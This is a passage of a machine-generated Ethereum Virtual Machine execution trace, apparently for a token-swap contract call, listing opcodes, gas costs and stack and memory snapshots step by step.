0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15382,"op":"MLOAD","gas":106493,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15383,"op":"PUSH1","gas":106490,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15385,"op":"PUSH1","gas":106487,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15387,"op":"PUSH1","gas":106484,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15389,"op":"SHL","gas":106481,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6","0x1","0x1","0x70"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15390,"op":"SUB","gas":106478,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6","0x1","0x10000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15391,"op":"DUP2","gas":106475,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6","0xffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15392,"op":"AND","gas":106472,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6","0xffffffffffffffffffffffffffff","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15393,"op":"DUP2","gas":106469,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15394,"op":"EQ","gas":106466,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6","0xc50dfd48a20630e6","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15395,"op":"PUSH2","gas":106463,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15398,"op":"JUMPI","gas":106460,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6","0x1","0x3666"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":13926,"op":"JUMPDEST","gas":106450,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":13927,"op":"SWAP2","gas":106449,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0x3c47","0x180","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":13928,"op":"SWAP1","gas":106446,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0xc50dfd48a20630e6","0x180","0x3c47"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":13929,"op":"POP","gas":106443,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0xc50dfd48a20630e6","0x3c47","0x180"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":13930,"op":"JUMP","gas":106441,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0xc50dfd48a20630e6","0x3c47"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15431,"op":"JUMPDEST","gas":106433,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32"]},{"pc":15432,"op":"SWAP2","gas":106432,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa24","0x4563918244f40000","0xa0","0x100","0x0","0x20f2","0x4563918244f40000","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x0","0x12fb","0x4c711efa05b78582f07d9d960b1dadde95688166","0x175940b39014cd3a9c87cd6b1d7616a097db958e","0x0","0x0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x2229","0x1c0","0x180","0x0","0x0","0xc50dfd48a20630e6"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000001c0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d